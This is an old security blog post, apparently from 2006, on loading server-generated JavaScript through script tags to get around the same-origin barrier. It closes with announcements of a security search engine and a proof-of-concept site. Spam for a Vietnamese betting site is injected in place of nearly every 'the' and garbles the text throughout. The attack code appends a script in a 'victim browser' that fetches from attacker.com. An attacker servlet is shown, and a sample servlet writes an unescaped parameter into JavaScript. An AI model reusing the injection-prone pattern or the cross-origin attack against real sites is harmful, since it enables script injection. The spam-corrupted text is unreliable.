One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lesser known sides of external JavaScript is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to reference a server side program(CGI, PHP or Servlets) instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page is being loaded. Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 usual .js file. Interestingly you can even pass parameters to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet can be invoked and process parameters and return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result back. There is a limitation however. It can only return Javascript code. You also have to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very beginning to inform cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser that it is receiving a JavaScript file. The final output of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page and displays “Welcome anurag”.
The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r limitation, however, is that it cannot have an interactive session with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program. While loading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser comes across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, it goes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute and validates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 incoming data as a valid javascript and executes it. The script tag is only executed once and after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire page is loaded, it cannot call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program again.

Breaking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin barrier using external Javascript

As we discussed above, once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire html page is loaded and all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Javascript files are executed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re can be no interaction with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server anymore since all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tags are executed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute and VIOLA, we have just breached cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same domain barrier. Let’s take a look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code.

Code sample
Append cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following Javascript code at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo here (http://www.attacklabs.com)

Download Code

You can download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

Tuesday, December 12, 2006

Did you SEEC it yet?

I am pleased to announce SEEC - An application security search engine. This search engine is powered by google and is application security specific. It is still in beta release. You can access it here - SEEC

Why SEEC?
well, SEC is short for security and SEEK means to find, hence SEEC (find within security)
Please do leave your comments and feedback on what your thoughts are on SEEC.


Also, few weeks ago i released AttackLabs - a website to display proof of concepts of various web application attacks. It has two PoC to begin with and i am currently working with jeremiah to display all his PoC on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site. If you wish to display your Proof of concepts on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n please feel free to submit your attack on www.attacklabs.com or you can email me at anurag.agarwal@yahoo.com